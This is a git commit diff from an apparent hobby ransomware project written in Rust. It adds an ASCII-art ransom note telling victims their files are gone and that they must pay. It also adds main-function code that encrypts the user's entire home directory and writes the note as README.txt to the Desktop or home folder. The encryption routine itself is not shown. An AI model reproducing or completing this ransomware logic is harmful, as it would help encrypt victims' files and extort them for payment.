revert that, that was meant for a different git repo
revert fork: revert ransom note
This commit is contained in:
parent
1e4eaf6d1c
commit
201cf7d9a6
3 changed files with 25 additions and 1359 deletions
1359
Cargo.lock
generated
1359
Cargo.lock
generated
File diff suppressed because it is too large
Load diff
11
note.txt
Normal file
11
note.txt
Normal file
|
@ -0,0 +1,11 @@
|
|||
|
|
||||
\ ___ / ____ __ __
|
||||
/ \ / __/__ / /_________ _____ / /_
|
||||
- | | - _\ \/ _ \/ / __/ __/ // / _ \/ __/
|
||||
\___/ /___/\___/_/\__/_/ \_, / .__/\__/
|
||||
/ \ /___/_/
|
||||
| Made by Xory
|
||||
|
||||
So... you messed up.
|
||||
Your files are gone.
|
||||
Now you're going to have to pay us money at [not implemented yet] to get your files back or whatever. I built this thing for fun ffs.
|
|
@ -7,17 +7,29 @@ use std::time::Duration;
|
|||
use std::fs::File;
|
||||
use std::io::Write;
|
||||
|
||||
const NOTE: &str = include_str!("../note.txt");
|
||||
|
||||
fn main() -> std::io::Result<()> {
|
||||
#[cfg(target_os = "windows")]
|
||||
let home: String = env::var("USERPROFILE").unwrap_or("C:\\Users\\Xory".to_string()); // no way this could fail!
|
||||
#[cfg(target_os = "windows")]
|
||||
let ransomnoteloc = format!("{home}\\Desktop\\README.txt");
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
let home: String = env::var("HOME").unwrap();
|
||||
#[cfg(target_os = "linux")]
|
||||
let ransomnoteloc = format!("{home}/readme.txt");
|
||||
|
||||
encrypt_directory(&home).unwrap(); // I know this many unwraps look
|
||||
// suspicious, but the chance of this
|
||||
// failing is less than a solar flare.
|
||||
|
||||
// Write ransom note to desktop
|
||||
let mut ransomnote = File::create(ransomnoteloc)?; // we *should* have write perms for
|
||||
// the user's HOME
|
||||
ransomnote.write_all(NOTE.as_bytes())?;
|
||||
ransomnote.flush()?;
|
||||
|
||||
|
||||
loop {
|
||||
let registration_attempt = register();
|
||||
if registration_attempt.is_ok() {
|
||||
|
|
Loading…
Reference in a new issue